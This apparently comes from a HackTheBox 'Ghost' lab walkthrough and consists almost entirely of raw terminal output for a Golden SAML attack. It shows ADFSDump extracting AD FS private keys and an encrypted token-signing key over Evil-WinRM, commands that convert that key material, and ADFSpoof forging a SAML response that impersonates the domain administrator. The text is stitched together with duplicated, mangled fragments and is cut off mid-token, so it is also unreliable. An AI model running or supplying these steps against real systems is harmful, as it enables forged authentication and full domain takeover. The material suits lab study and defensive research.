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*Evil-WinRM* PS C:\ProgramData> .\ADFSDump.exe
___ ____ ___________ ____
/ | / __ \/ ____/ ___// __ \__ ______ ___ ____
/ /| | / / / / /_ \__ \/ / / / / / / __ `__ \/ __ \
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ /
/_/ |_/_____/_/ /____/_____/\__,_/_/ /_/ /_/ .___/
/_/
Created by @doughsec
## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
AAAAAQAAAAAEEAFyHlNXh2VDska8KMTxXboGCWCGSAFlAwQCAQYJYIZIAWUDBAIBBglghkgBZQMEAQIEIN38LpiFTpYLox2V3SL3knZBg16utbeqqwIestbeUG4eBBBJvH3Vzj/Slve2Mo4AmjytIIIQoMESvyRB6RLWIoeJzgZOngBMCuZR8UAfqYsWK2XKYwRzZKiMCn6hLezlrhD8ZoaAaaO1IjdwMBButAFkCFB3/DoFQ/9cm33xSmmBHfrtufhYxpFiAKNAh1stkM2zxmPLdkm2jDlAjGiRbpCQrXhtaR+z1tYd4m8JhBr3XDSURrJzmnIDMQH8pol+wGqKIGh4xl9BgNPLpNqyT56/59TC7XtWUnCYybr7nd9XhAbOAGH/Am4VMlBTZZK8dbnAmwirE2fhcvfZw+ERPjnrVLEpSDId8rgIu6lCWzaKdbvdKDPDxQcJuT/TAoYFZL9OyKsC6GFuuNN1FHgLSzJThd8FjUMTMoGZq3Cl7HlxZwUDzMv3mS6RaXZaY/zxFVQwBYquxnC0z71vxEpixrGg3vEs7ADQynEbJtgsy8EceDMtw6mxgsGloUhS5ar6ZUE3Qb/DlvmZtSKPaT4ft/x4MZzxNXRNEtS+D/bgwWBeo3dh85LgKcfjTziAXH8DeTN1Vx7WIyT5v50dPJXJOsHfBPzvr1lgwtm6KE/tZALjatkiqAMUDeGG0hOmoF9dGO7h2FhMqIdz4UjMay3Wq0WhcowntSPPQMYVJEyvzhqu8A0rnj/FC/IRB2omJirdfsserN+WmydVlQqvcdhV1jwMmOtG2vm6JpfChaWt2ou59U2MMHiiu8TzGY1uPfEyeuyAr51EKzqrgIEaJIzV1BHKm1p+xAts0F5LkOdK4qKojXQNxiacLd5ADTNamiIcRPI8AVCIyoVOIDpICfei1NTkbWTEX/IiVTxUO1QCE4EyTz/WOXw3rSZA546wsl6QORSUGzdAToI64tapkbvYpbNSIuLdHqGplvaYSGS2Iomtm48YWdGO5ec4KjjAWamsCwVEbbVwr9eZ8N48gfcGMq13ZgnCd43LCLXlBfdWonmgOoYmlqeFXzY5OZAK77YvXlGL94opCoIlRdKMhB02Ktt+rakCxxWEFmdNiLUS+SdRDcGSHrXMaBc3AXeTBq09tPLxpMQmiJidiNC4qjPvZhxouPRxMz75OWL2Lv1zwGDWjnTAm8TKafTcfWsIO0n3aUlDDE4tVURDrEsoI10rBApTM/2RK6oTUUG25wEmsIL9Ru7AHRMYqKSr9uRqhIpVhWoQJlSCAoh+Iq2nf26sBAev2Hrd84RBdoFHIbe7vpotHNCZ/pE0s0QvpMUU46HPy3NG9sR/OI2lxxZDKiSNdXQyQ5vWcf/UpXuDL8Kh0pW/bjjfbWqMDyi77AjBdXUce6Bg+LN32ikxy2pP35n1zNOy9vBCOY5WXzaf0e+PU1woRkUPrzQFjX1nE7HgjskmA4KX5JGPwBudwxqzHaSUfEIM6NLhbyVpCKGqoiGF6Jx1uihzvB98nDM9qDTwinlGyB4MTCgDaudLi0a4aQoINcRvBgs84fW+XDj7KVkH65QO7TxkUDSu3ADENQjDNPoPm0uCJprlpWeI9+EbsVy27fe0ZTG03lA5M7xmi4MyCR9R9UPz8/YBTOWmK32qm95nRct0vMYNSNQB4V/u3oIZq46J9FDtnDX1NYg9/kCADCwD/UiTfNYOruYGmWa3ziaviKJnAWmsDWGxP8l35nZ6SogqvG51K85ONdimS3FGktrV1pIXM6/bbqKhWrogQC7lJbXsrWCzrtHEoOz2KTqw93P0WjPE3dRRjT1S9KPsYvLYvyqNhxEgZirxgccP6cM0N0ZUfaEJtP21sXlq4P1Q24bgluZFG1XbDA8tDbCWvRY1qD3CNYCnYeqD4e7rgxRyrmVFzkXEFrIAkkq1g8MEYhCOn3M3lfHi1L6de98AJ9nMqAAD7gulvvZpdxeGkl3xQ+jeQGu8mDHp7PZPY+uKf5w87J6l48rhOk1Aq+OkjJRIQaFMeOFJnSi1mqHXjPZIqXPWGXKxTW7P+zF8yXTk5o0mHETsYQErFjU40TObPK1mn2DpPRbCjszpBdA3Bx2zVlfo3rhPVUJv2vNUoEX1B0n+BE2DoEI0TeZHM/gS4dZLfV/+q8vTQPnGFhpvU5mWnlAqrn71VSb+BarPGoTNjHJqRsAp7lh0zxVxz9J4xWfX5HPZ9qztF1mGPyGr/8uYnOMdd+4ndeKyxIOfl4fce91CoYkSsM95ZwsEcRPuf5gvHdqSi1rYdCrecO+RChoMwvLO8+MTEBPUNQ8YVcQyecxjaZtYtK+GZqyQUaNyef4V6tcjreFQF93oqDqvm5CJpmBcomVmIrKu8X7TRdmSuz9LhjiYXM+RHhNi6v8Y2rHfQRspKM4rDyfdqu1D+jNuRMyLc/X573GkMcBTiisY1R+8k2O46jOMxZG5NtoL2FETir85KBjM9Jg+2nlHgAiCBLmwbxOkPiIW3J120gLkIo9MF2kXWBbSy6BqNu9dPqOjSAaEoH+Jzm4KkeLrJVqLGzx0SAm3KHKfBPPECqj+AVBCVDNFk6fDWAGEN+LI/I61IEOXIdK1HwVBBNj9LP83KMW+DYdJaR+aONjWZIoYXKjvS8iGET5vx8omuZ3Rqj9nTRBbyQdT9dVXKqHzsK5EqU1W1hko3b9sNIVLnZGIzCaJkAEh293vPMi2bBzxiBNTvOsyTM0Evin2Q/v8Bp8Xcxv/JZQmjkZsLzKZbAkcwUf7+/ilxPDFVddTt+TcdVP0Aj8Wnxkd9vUP0Tbar6iHndHfvnsHVmoEcFy1cb1mBH9kGkHBu2PUl/9UySrTRVNv+oTlf+ZS/HBatxsejAxd4YN/AYanmswz9FxF96ASJTX64KLXJ9HYDNumw0+KmBUv8Mfu14h/2wgMaTDGgnrnDQAJZmo40KDAJ4WV5Akmf1K2tPginqo2qiZYdwS0dWqnnEOT0p+qR++cAae16Ey3cku52JxQ2UWQL8EB87vtp9YipG2C/3MPMBKa6TtR1nu/C3C/38UBGMfclAb0pfb7dhuT3mV9antYFcA6LTF9ECSfbhFobG6WS8tWJimVwBiFkE0GKzQRnvgjx7B1MeAuLF8fGj7HwqQKIVD5vHh7WhXwuyRpF3kRThbkS8ZadKpDH6FUDiaCtQ1l8mEC8511dTvfTHsRFO1j+wZweroWFGur4Is197IbdEiFVp/zDvChzWXy071fwwJQyGdOBNmra1sU8nAtHAfRgdurHiZowVkhLRZZf3UM76OOM8cvs46rv5F3K++b0F+cAbs/9aAgf49Jdy328jT0ir5Q+b3eYss2ScLJf02FiiskhYB9w7EcA+WDMu0aAJDAxhy8weEFh72VDBAZkRis0EGXrLoRrKU60ZM38glsJjzxbSnHsp1z1F9gZXre4xYwxm7J799FtTYrdXfQggTWqj+uTwV5nmGki/8CnZX23jGkne6tyLwoMRNbIiGPQZ4hGwNhoA6kItBPRAHJs4rhKOeWNzZ+sJeDwOiIAjb+V0FgqrIOcP/orotBBSQGaNUpwjLKRPx2nlI1VHSImDXizC6YvbKcnSo3WZB7NXIyTaUmKtV9h+27/NP+aChhILTcRe4WvA0g+QTG5ft9GSuqX94H+mX2zVEPD2Z5YN2UwqeA2EAvWJDTcSN/pDrDBQZD2kMB8P4Q7jPauEPCRECgy43se/DU+P63NBFTa5tkgmG2+E05RXnyP+KZPWeUP/lXOIA6PNvyhzzobx52OAewljfBizErthcAffnyPt6+zPdqHZMlfrkn+SY0JSMeR7pq0RIgZy0sa692+XtIcHYUcpaPl9hwRjE/5dpRtyt3w9fXR4dtf+rf+O2NI7h0l1xdmcShiRxHfp+9AZTz0H0aguK9aCZY7Sc9WR0X4nv0vSQB7fzFTNG+hOr0PcOh+KIETfiR9KUerB1zbpW+XEUcG9wCyb8OMc4ndpo1WbzLAn7WNDTY9UcHmFJFVmRGbLt2+Pe5fikQxIVLfRCwUikNeKY/3YiOJV3XhA6x6e2zjN3I/Tfo1/eldj0IbE7RP4ptUjyuWkLcnWNHZr8YhLaWTbucDI8R8MXAjZqNCX7WvJ5i+YzJ8S+IQbM8R2DKeFXOTTV3w6gL1rAYUpF9xwe6CCItxrsP3v59mn21bvj3HunOEJI3aAoStJgtO4K+SOeIx+Fa7dLxpTEDecoNsj6hjMdGsrqzuolZX/GBF1SotrYN+W63MYSiZps6bWpc8WkCsIqMiOaGa1eNLvAlupUNGSBlcXNogdKU0R6AFKM60AN2FFd7n4R5TC76ZHIKGmxUcq9EuYdeqamw0TB4fW0YMW4OZqQyx6Z8m3J7hA2uZfB7jYBl2myMeBzqwQYTsEqxqV3QuT2uOwfAi5nknlWUWRvWJl4Ktjzdv3Ni+8O11M+F5gT1/6E9MfchK0GK2tOM6qI8qrroLMNjBHLv4XKAx6rEJsTjPTwaby8IpYjg6jc7DSJxNT+W9F82wYc7b3nBzmuIPk8LUfQb7QQLJjli+nemOc20fIrHZmTlPAh07OhK44/aRELISKPsR2Vjc/0bNiX8rIDjkvrD/KaJ8yDKdoQYHw8G+hU3dZMNpYseefw5KmI9q+SWRZEYJCPmFOS+DyQAiKxMi+hrmaZUsyeHv96cpo2OkAXNiF3T5dpHSXxLqIHJh3JvnFP9y2ZY+w9ahSR6Rlai+SokV5TLTCY7ah9yP/W1IwGuA4kyb0Tx8sdE0S/5p1A63+VwhuANv2NHqI+YDXCKW4QmwYTAeJuMjW/mY8hewBDw+xAbSaY4RklYL85fMByon9AMe55Jaozk8X8IvcW6+m3V/zkKRG7srLX5R7ii3C4epaZPVC5NjNgpBkpT31X7ZZZIyphQIRNNkAve49oaquxVVcrDNyKjmkkm8XSHHn153z/yK3mInTMwr2FJU3W7L/Kkvprl34Tp5fxC7G/KRJV7/GKIlBLU0BlNZbuDm7sYPpRdzhAkna4+c4r8gb2M5Qjasqit7kuPeCRSxkCgmBhrdvg4PCU6QRueIZ795qjWPKeJOs88c7sdADJiRjQSrcUGCAU59wTG0vB4hhO3D87sbdXCEa74/YXiR7mFgc7upx/JpV+KcCEVPdJQAhpfyVJGmWDJZBvVXoNC2XInsJZJf81Oz+qBxbZo+ZzJxeqxgROdxc+q5Qy6c+CC8Kg3ljMQNdzxpk6AVd0/nbhdcPPmyG6tHZVEtNWoLW5SgdSWf/M0tltJ/yRii0hxFBVQwRgFSmsKZIDzk5+OktW7Rq3VgxS4dj97ejfFbnoEbbvKl9STRPw/vuRbQaQF15ZnwlQ0fvtWuWbJUTiwXeWmp1yQMU/qWMV/LtyGRl4eZuROzBjd+ujf8/Q6YSdAMR/o6ziKBHXrzaF8dH9XizNux0kPdCgtcpWfW+aKEeiWiYDxpOzR8Wmcn+Th0hDD9+P5YeZ85p/NkedO7eRMi38lOIBU2nT3oupJMGnnNj1EUd2z8gMcW/+VekgfN+ku5yxi3b9pvUIiCatHgp6RRb70fdNkyUa6ahxM5zS1dL/joGuoIJe26lpgqpYz1vZa15VKuCRU6v62HtqsOnB5sn6IhR16z3H416uFmXc9k4WRZQ0zrZjdFm+WPAHoWAufzAdZP/pdYv1IsrDoXsIAyAgw3rEzcwKs6XA5K9kihMIZXXEvtU2rsNGevNCjFqNMAS9BeNi9r/XjHDXnFZv6OQpfYJUPiUmumE+DYXZ/AP/MPSDrCkLKVPyip7xDevBN/BEsNEUSTXxm
[-] Encrypted Token Signing Key End
[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My
## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
==================
Enabled: True
Sign-In Protocol: SAML 2.0
Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
SamlResponseSignatureType: 1;
Identifier: https://core.ghost.htb:8443
Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
<RequireFreshAuthentication>false</RequireFreshAuthentication>
<IssuanceAuthorizationRules>
<Rule>
<Conditions>
<Condition i:type="AlwaysCondition">
<Operator>IsPresent</Operator>
</Condition>
</Conditions>
</Rule>
</IssuanceAuthorizationRules>
</PolicyMetadata>
Access Policy Parameter:
Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);❯ cat token | base64 -d > EncryptedPfx.bin
❯ echo '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' | tr -d '-' | xxd -r -p > dkmKey.bin❯ python3 ADFSpoof.py -b ../EncryptedPfx.bin ../dkmKey.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'GHOST\administrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOST\administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
dministrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOSTdministrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>' - Parrot Terminal ___ ____ ___________ ____
/ | / __ \/ ____/ ___/____ ____ ____ / __/
/ /| | / / / / /_ \__ \/ __ \/ __ \/ __ \/ /_
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/
/_/ |_/_____/_/ /____/ .___/\____/\____/_/
/_/
A tool to for AD FS security tokens
Created by @doughsec
/home/kali/Desktop/HackTheBox/Windows/AD/Ghost/content/GoldenSAML/ADFSpoof/ADFSpoof.py:96: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.utcnow()
PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfUk9aMEVGIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNS0wMi0wN1QyMTowNDoxNy4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vY29yZS5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfNjBWN1M4IiBJc3N1ZUluc3RhbnQ9IjIwMjUtMDItMDdUMjE6MDQ6MTcuMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9jb3JlLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjXzYwVjdTOCI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPjZRRW5ua2lVN2UvZmNpMTFZUUxkZEovZGpWeFJORGJ0a25sb1BKS05uM289PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPlJyemFnSko2Sk1SVnY0aUprYTZoV0RqTW5yQkZ3cmxsSVhIYWNLalBHOXBOa25zRmc3TlVxN2FSNWNhd3cyNnd3NGw2M1ZtOG15NjZoc2NHdzFFcHdmN2JBaVZzalNsQVN2cEptVTNNS1IxVEVNU3ZGY1VtOWF3ejIyN3NWcDNiVzQyb2FOY1R0MDNIZWYwcHhVOVNydVV4OGZGSUYwTU5BNzFUSjA3eUptZkJPK3NHY3ltSnN6S0NIalJnUmMrM08wSVcxZzZ3amY0alhLUWhmdU9Hd3RRc1JYdFdMS3o5ekp5b25ZRGRadjZoazRSb3FWdENOYlBoa0JNWGpnS2w0YmNNaHFDUkQ3eTBUVUlvWmQ3SUJRM1p6OFoySWd2TUJTQXJzQ3pEZTU3VStZT2t5Q2FFQTA0TVVaMXpodVZSRldiVW93Zkt0Q2lZMXo1SXVFOGNYQ1dMckZMWkg4a21QTWttZnA3c01jYlphQzduMGVPVkF3a29wS0c3akJwNkpzMjBTRGpvOHYyUDBTYVY3ZVdicHpBSmlXMzdKMnFydXcySXF1LzRPK0l1SFYzN0dPZlNPYUcrS0VDU3NabzdUUE1kbHd3OTh5aTFmcUF5WlRGczVaY0RJcWl4Kzk3QVdDVk9uTjJSSG1ZZDVrV3gyYVZDbWRkRTVTZzM1VHBrblJmbm9UMzFPSWtHWW9xclRqSWdUZ0RWZ1c2cHNvbUpoRXFib1Nqck5BeWtyQnF4Z2dHYWhJNHBhVHdTd1lrUVpzUEJIZ2F6VkR2dnRET1YxQy9hZmNGY2x1Y2FTTG1iTzluSDZETDVlVmFLSzNiL1hwcVEwM0FuaFd4NWdsS2ErRHdnc2tQMXVlQUgyMWxCa2hGa09lMjNmVStSdFpISzRaZExXWXdQelFZPTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpuYW1laWQtZm9ybWF0OnRyYW5zaWVudCI%2BR0hPU1RcYWRtaW5pc3RyYXRvcjwvTmFtZUlEPjxTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYX